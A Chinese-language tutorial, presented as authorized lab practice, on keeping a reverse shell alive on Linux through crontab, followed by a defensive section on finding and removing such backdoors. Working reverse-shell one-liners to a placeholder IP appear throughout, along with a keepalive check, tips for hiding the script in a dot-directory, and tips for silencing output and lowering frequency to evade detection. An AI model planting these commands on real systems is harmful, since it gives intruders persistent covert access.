1. 别小看 crontab:它是持久化里最“土”也最稳的一种
提起权限维持,很多刚接触安全测试的朋友第一反应都是注册表、启动项、计划任务、守护进程这些听起来比较“高级”的东西。但在我实际参与过的多次授权攻防演练里,真正让防守方头疼的反而是一个看起来毫无技术含量的手段:利用 crontab 定时执行反弹 shell 命令。
为什么说它“土”?因为它不需要编译,不需要上传额外的二进制文件,不需要注册系统服务,只需要你有目标主机上的一个低权限账号,然后往 crontab 里写一行命令。就这一行,可能在每次任务执行时帮你拉回一个交互式 shell,断线了还能自动重连。更关键的是,很多运维同学日常根本不会去翻看别人的定时任务列表,即便看到了,一行藏在几百行正常备份、日志清理脚本里的命令也极容易被忽略。
这篇文章会以一个完整的模拟实验为主线,把“用 crontab 做持久化反弹 shell”这件事从头到尾拆开讲清楚:定时任务背后的执行逻辑、反弹 shell 的原理、命令怎么写才能稳定不翻车、真实环境中哪些细节会导致任务没效果,以及站在防守视角我们应该怎么发现和清除这类后门。整个实验只在你自己搭建的授权测试环境里进行,千万别拿这套思路去碰任何你没有被授权的主机,这是底线。
适合看这篇文章的人主要有三类:一是刚学安全测试、想搞懂持久化原理的初学者;二是做攻防演练,需要在合法范围内验证主机可靠性的红队成员;三是日常维护服务器的运维人员——了解攻击者怎么想,你才知道该从哪里防守。
2. 定时任务与反弹 shell 的基本原理:为什么这两样东西能凑到一起
要理解这个技巧,先把两个基础概念彻底搞明白。很多人会写 crontab,也见过反弹 shell 的命令,但真到用时却拼不到一起,原因就是没理解它们各自“是个什么东西”。
2.1 crontab 的任务规则:可预测的节奏才是持久化的前提
crontab 是 Linux 和类 Unix 系统里用来管理周期性任务的标准机制。它由守护进程 cron 负责调度,每一行任务都遵循五段时间格式和一个命令段的结构:
分 时 日 月 周 命令比如0 3 * * * /usr/local/bin/backup.sh代表每天凌晨三点整执行一次备份脚本。星号表示“每个可能的值都匹配”,所以* * * * *就是每分钟、每天、每月、每周都执行,也就是每分钟跑一次。
这个机制有什么特点?首先是稳定。只要 cron 服务在跑,任务就会按计划执行,不受你当前是否登录的影响,也不依赖用户交互。其次是隐蔽。普通用户在自己权限范围内添加、修改、删除 crontab 条目,不需要 root 权限,系统通常也不会主动向管理员告警。这两点恰恰是持续性后门最需要的品质。
再说细一点,crontab 有三个容易被人忽略的层次:
- 当前的登录用户的个人任务,存放在
/var/spool/cron/crontabs/目录下,以用户名命名; - root 用户的任务也是同样的方式,只是权限更高;
- 系统级的计划任务则在
/etc/crontab以及/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/等目录中定义。
做持久化的时候,如果我们拿到了一个服务的启动账号,通常直接写个人任务就够了。crontab -e 编辑的是当前用户的任务列表,改完保存立即生效,完全不需要重启任何服务。
2.2 反弹 shell 的执行逻辑:让目标机主动向你建立连接
反弹 shell(reverse shell),理解起来最简单的方式是打个比方:正常情况下你想连一台服务器,是“你主动敲门,进去做客”;但内网环境里对方有防火墙、有 NAT,你敲不进去。反弹 shell 是反过来——让服务器自己跑出来找你。服务器主动向你指定的 IP 和端口发起 TCP 连接,然后把它的命令行输入输出都绑定到这条连接上。
为什么攻击场景里大家偏爱反弹而不是正向连接?原因有三:
- 目标机器通常在防火墙后面,外到内的连接被拦截,内到外的连接往往不受限制;
- 目标机器的 IP 或端口没有暴露到公网,你无法直接访问;
- 反弹 shell 的连接是目标主动发起的,在防守侧看到的只是一条普通的出网连接,不那么显眼。
而把 crontab 和反弹 shell 结合在一起的思路就非常自然了:crontab 保证“每隔一段时间执行一次命令”,反弹 shell 保证“每次执行都尝试拉回一个交互式终端”。就算你的监听端因网络抖动断开了,下一分钟任务又会重新执行,也就是实现了“断线自动重连”。这种自动重连能力,正是把反弹 shell 从“一次性工具”升级成“持久后门”的关键一步。
有人可能会问:既然要持久,每分钟执行一次会不会频率太高?你可以按需调整,比如每 5 分钟、每 30 分钟甚至只在特定时段执行。频率越高恢复越快,但被发现的概率也越高;频率越低越隐蔽,但你想干活的时候可能得等半天。攻防演练里的常见做法是初期高频、稳定后降频,但这是一个权衡,没有一个万能答案。
3. 完整复现一次 crontab 反弹 shell:从环境搭建到命令解析
这一节是整个实验的核心。我们不看截图,只看命令,因为截图会过期,命令和思路才是你能真正带走的东西。我按照自己实际测试的流程,把环境、命令和细节全部展开讲。
3.1 实验环境怎么搭:三个角色一台测试机就够
先声明,我下面的所有操作都发生在一个完全隔离的本地虚拟化环境里,没有涉及任何真实服务器。推荐你用一台虚拟机装 Linux 作为“目标机”,用宿主机或另一台虚拟机充当“控制端”。控制端需要做的事情很简单,就是开启一个端口监听,等目标机连过来。
我的实验配置是这样:
- 目标机:某 Linux 发行版虚拟机,IP 假设是 192.0.2.100,上面有一个普通测试账号 test;
- 控制端:IP 假设是 198.51.100.10,安装有 netcat(或者 ncat),用于监听反弹连接;
- 网络:同一内网,两个角色互通,无额外防火墙策略。
你需要确保控制端的监听端口不被占用,同时在云服务器上做实验的话,记得在安全组和防火墙里放行对应端口,这一步常常被初学者漏掉,导致目标机连接被拦在防火墙外。
3.2 标准反弹命令:bash 与 /dev/tcp 的魔法
首先在控制端启动监听,监听在 4444 端口:
nc -lvnp 4444参数含义:-l 进入监听模式,-v 输出详细日志,-n 不做 DNS 解析,-p 指定监听端口。
然后在目标机上,先用普通测试用户编辑自己的 crontab:
crontab -e添加下面这样一行:
* * * * * /bin/bash -c "bash -i >& /dev/tcp/198.51.100.10/4444 0>&1"保存退出后,等上最多一分钟,你就会在控制端看到类似这样的输出:
connect to [198.51.100.10] from (UNKNOWN) [192.0.2.100] 52316这说明目标机已经通过 bash 的/dev/tcp伪设备发起了一个 TCP 连接,并且把交互式 bash 的输入输出重定向到了这个套接字上。你现在可以在这个会话里执行 id、whoami、ls 等命令,看到的输出就是目标机的真实返回。
我拆解一下这条命令的每一段,方便你理解和后续改写:
bash -i:以交互模式启动 bash。如果没有 -i,bash 不会读取到正常的提示符和作业控制,拿到手的 shell 虽然能用,但体验很差;>&:把文件描述符 1(标准输出)和 2(标准错误输出)都重定向到后面指定的目标;/dev/tcp/198.51.100.10/4444:bash 提供的一个特殊路径写法,访问这个路径等于建立 TCP 连接到指定主机的指定端口。注意这是 bash 的扩展功能,不是所有 shell 都支持,所以命令前明确用 /bin/bash 而不是 /bin/sh 非常重要;0>&1:把标准输入也重定向到同一个 TCP 连接。三个标准流(输入、输出、错误)全部落在连接上,你才能像坐在目标机器面前一样操作。
这一行命令其实是/bin/bash -c包裹的一条 shell 命令。cron 在每分钟执行时的行为是:先启动普通的 /bin/bash 进程,再由它执行引号里的整体命令。整体命令的行为是把当前的 bash 进程和外部 TCP 连接绑定,本质上是在目标机上拉起来一个可以远程操作的 shell。
3.3 提升稳定性的变种写法:让断线自动重连
上面这个命令有一个小问题:如果控制端临时断开、网络抖动,或者连接因为其他原因中断,cron 虽然每分钟都试着执行新任务,但每次执行都只是创建一次新连接,一旦失败就结束,不会等待重试。这在实际测试里表现出的现象是:明明长时间没有新连接,任务却还在悄悄执行。这不是我们要的效果。
更稳妥的写法是在执行前先检测当前系统里是否已经存在反弹连接:
* * * * * /bin/bash -c 'if ! pgrep -f "bash -i" > /dev/null; then bash -i >& /dev/tcp/198.51.100.10/4444 0>&1; fi'这样 cron 每次执行任务时,先检查是否存在名为bash -i的进程,如果已经存在就什么都不做,避免同一个系统里堆积一大堆重复 shell。如果不存在,说明之前的连接已经断掉或者根本没有建立成功,那就尝试新建一条。这天然形成了一个保活机制:只要 cron 在跑,你的反向通道就会在断线后最多一分钟内恢复。
用 pgrep -f 的时候要注意一点:-f 匹配的是完整命令行,而命令行里包含bash -i以及连接的 IP 和端口,所以只要存在任意一条反弹 shell,这条检测就会命中。但同样的字符串也可能匹配到你自己在目标机上手工启动的交互式 bash,测试时留意一下即可。
如果你希望更隐蔽,可以把上面这条命令拆成一个脚本文件,脚本放在临时目录或隐藏目录里,crontab 里只写一行指向脚本的路径。这样至少从 crontab 列表里看,不再直接暴露反弹连接的 IP 和端口:
* * * * * /home/test/.cache/.sync.sh >/dev/null 2>&1脚本内容就是上面那段带检测的反弹命令。>/dev/null 2>&1这个尾巴非常重要,它把 cron 执行时的所有输出丢弃,否则每次反弹失败时系统可能会给用户发邮件,反而留下痕迹。关于这一点,下一节我会展开讲,因为它是整个方案里最容易栽跟头的地方。
4. 实测里最容易翻车的地方:路径、环境变量与 cron 的隐藏规则
这节说说我在自己实验中真实踩过的坑,以及从原理上怎么理解。crontab 反弹 shell 这个方案最大特点是“命令本身简单”,但把它放到真实主机的 crontab 环境里,翻车概率比想象中高得多。
4.1 为什么脚本写对了却不执行:PATH 环境变量是头号元凶
cron 执行用户任务的时候,使用的 PATH 环境变量非常精简,通常只有/usr/bin:/bin,并不会包含你手动登录时设置的一大堆路径(比如/usr/local/bin等)。这意味着:
- 你的命令里如果直接写了
bash、nc、python这类命令名,而它们在默认 PATH 里不存在,任务就会执行失败; - 系统日志里会留下形如
CRON[12345]: (test) MAIL (died)的记录,但具体错误信息你可能根本看不到。
所以我在上一节的示例里始终使用/bin/bash而不是bash,目的就是规避 PATH 问题。同理,脚本里如果调用了其他命令,最好都写成绝对路径,或者脚本开头先显式导出一份完整的 PATH。
4.2 输出重定向与邮件通知:一个容易被忽视的持久化陷阱
cron 的默认行为是把任务的输出通过邮件发送给用户。在大多数发行版上,本地邮件服务可能没有启用,输出会暂时堆积在系统队列里;如果邮件服务启用了,这些输出就会被写入用户的邮件文件。不管是哪种情况,都会留下奇怪的文件。一个本来只想保持沉默的后门任务,却把执行记录留在邮件文件里,这属于典型的低级暴露。
解决办法就是我前面写的>/dev/null 2>&1,把标准输出和标准错误全部丢进黑洞。如果你的反弹命令本身只在连接成功时产生输出,这个处理已经完全足够。
4.3 排查一个“没反应”的定时任务:完整链路一步步看
我在一次实验里遇到过一个非常经典的“没反应”情况:crontab 加了,监听开着,等了好几分钟,控制端没有任何连接。当时的排查步骤和思路值得记录一下。
第一步,先确认 cron 服务本身在运行。我执行了:
systemctl status cron或者对于不使用 systemd 的老版本系统:
service cron status确认状态是 running,排除了最基础的问题。
第二步,确认自己的 crontab 条目真的存进去了。执行:
crontab -l检查输出里是否有刚刚添加的那一行。这一步能发现一些粗心的格式错误,比如漏了后面的命令段、五段时间的位次写反。
第三步,手动执行一次完整的反弹命令,绕过 cron 直接验证命令本身能不能连上控制端。在目标机上直接敲一遍bash -i >& /dev/tcp/198.51.100.10/4444 0>&1,观察控制端是否出现连接。这个测试能立刻区分问题出在命令语法上,还是出在 cron 的调度环节。
第四步,检查 cron 的系统日志,确认任务是否有运行记录和报错信息:
grep CRON /var/log/syslog如果看到CRON[xxx]: (test) CMD (…)说明命令确实被调度执行了,但看不到后续输出,多半就是重定向或者 PATH 的问题;如果连 CMD 记录都没有,就要怀疑任务是否真的被 cron 读取到了。
第五步,也是最容易被忽略的一步:检查目标机和控制端之间的网络连通性。我在实验里曾经因为虚拟机的网络模式从桥接换成了 NAT,导致目标机无法主动连接宿主机,cron 却一直在忠实地执行。用:
nc -vz 198.51.100.10 4444或者直接看系统会话记录,就能定位到网络层的问题。
整个排查链路的价值在于:它不是直接给答案,而是教你按“服务状态 → 配置内容 → 命令本身 → 调度记录 → 网络层”的顺序把问题层次逐一剥离。这套思路在任何 crontab 任务排查里都适用,不只是反弹 shell 场景。
5. 攻防两端重新看这个技巧:怎么发现、怎么清除、怎么不留尾巴
持久化反弹 shell 并不神秘,它就是 cron 的周期性调度和透明 TCP 连接的结合。理解它的实现逻辑之后,防守侧的检测思路也就清楚了。下面我从攻防两个方向分别展开,这部分对日常运维也很有用。
5.1 防守视角:在服务器上定位可疑 crontab 后门
如果你是一名运维或防守成员,接到“某台服务器可能已经被入侵”的告警后,重点排查这几类位置:
一是所有用户的 crontab 列表。逐用户检查:
for user in $(cut -f1 -d: /etc/passwd); do echo "== $user =="; crontab -l -u $user 2>/dev/null; done这个命令能输出所有拥了 crontab 条目的用户及其内容,一次看清全局。二是系统级任务,检查 /etc/crontab、/etc/cron.d/ 下的文件、以及 /etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/ 目录里的脚本。三是 cron 日志,搜索所有 CMD 记录,找有没有指向异常脚本路径的任务条目。
可疑任务有哪些特征?常见的包括:命令直接包含外部 IP 和端口、使用 base64 编码或经过混淆的 shell 命令、指向临时目录下的隐藏脚本、命令后跟>/dev/null 2>&1刻意静默执行。这些特征单独出现的话可能只是普通运维习惯,但组合在一起就很值得怀疑。
拿我上面的排查式子来说,你怎么检查有没有反弹 shell 正在运行?可以直接搜索进程里的交互式 bash 或与网络连接绑定的 shell:
ps aux | grep -i "bash -i" lsof -i -n -P | grep 4444配合查看 ESTABLISHED 状态的异常连接,能够比较快地确认当前是否存在后门会话。找到可疑条目之后,及时备份证据、从 crontab 中删除对应行,查杀对应进程,再追溯命令里出现的 IP 对应的源头。
5.2 测试后的清理:为什么必须删干净
作为攻防演练里的“攻击者”,测试结束后你必须负责收尾,把环境恢复原状。这不是客气话,而是基本的职业素养。清理论文里容易漏的几样东西:
- 打开
crontab -e,删掉自己加的那一行; - 如果写了脚本文件,记得删除脚本本体,比如
/home/test/.cache/.sync.sh; - 检查自己的监听端进程,测试结束后关掉 nc 等工具;
- 清理工具使用时产生的临时文件和历史记录。
一个人做事是否靠谱,不是看拿下目标的过程多炫,而是看结束之后能不能把场地恢复干净。我在带新人的时候反复强调一句话:你在别人的机器上留过一个文件,就要有能力在收尾时把它找回来删掉。做不到这一点,就不该做这个测试。
6. 三个影响成败的细节,和后续可以怎么玩
最后分享几个我反复踩过之后才明白的细节,以及这个实验后续还能往哪些方向扩展。
第一个细节是慎用频率过高的定时任务。每分钟执行一次反弹命令,确实保证了极高的恢复速度,但同样意味着目标机器上每多存在一分钟,就多一分钟被检测出来的窗口。真实场景里我会先观察目标机器的活跃时段,再把任务设置成非高峰时段执行,比如*/10 * * * *每十分钟一次,够用且不那么扎眼。当然这只是在授权演练中的策略选择,并不是什么“技巧”。
第二个细节是反弹 shell 的流量特征。如果目标网段有比较完善的出口流量审计,那么一个从不间断的到固定 IP 固定端口的 TCP 连接是非常容易被监控系统发现的。所以,如果目标是练手和验证思路,保活频率低一些反而安全。但如果你只是想在实验环境里看“断线后能不能自动恢复”,频率高一点完全没问题。
第三个细节是针对 crontab 条目中引号嵌套的坑。你在自己的终端里直接粘贴一行带引号的命令通常没事,但当你把它写进脚本再用 crontab 调用时,引号层级一变,命令可能就被拆得七零八落。解决的办法很简单:先在命令行手动执行一次脚本,确认没问题之后再把脚本路径交给 cron。任何风吹草动都在命令行先验证,不要直接丢给 cron。
关于后续扩展,我个人尝试过几个方向:
- 把这个任务的输出写到远程日志服务器,实现“即便反弹失败也有心跳记录”的变体;
- 结合系统守护进程,让反弹脚本即使被删也能在下一次重启时恢复,但这属于另一个话题;
- 在防守侧写一个简单的巡检脚本,每天扫描一次全用户 crontab,对可疑条目自动告警,这也是练手的好项目。
要提醒的是,上面所有想法都必须在合规、授权的前提下进行。安全测试的目的是让系统更安全,而不是制造更隐蔽的威胁。自建环境练好基本功,将来无论是做攻防演练还是做企业防御,你都会感谢现在认真抠细节的自己。
最后再说一个很实际的小技巧:如果你在做实验的过程中发现 crontab 里的命令始终不生效,但手动执行一定成功,十有八九是环境变量问题。先不要改命令,先在你的脚本开头加上一行#!/bin/bash,再在脚本里显式设置 PATH,比如export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,绝大多数奇怪的现象都会消失。这也算是这场实验带给我最有价值的一条教训:cron 的世界里没有“缺省”,一切环境都得自己声明。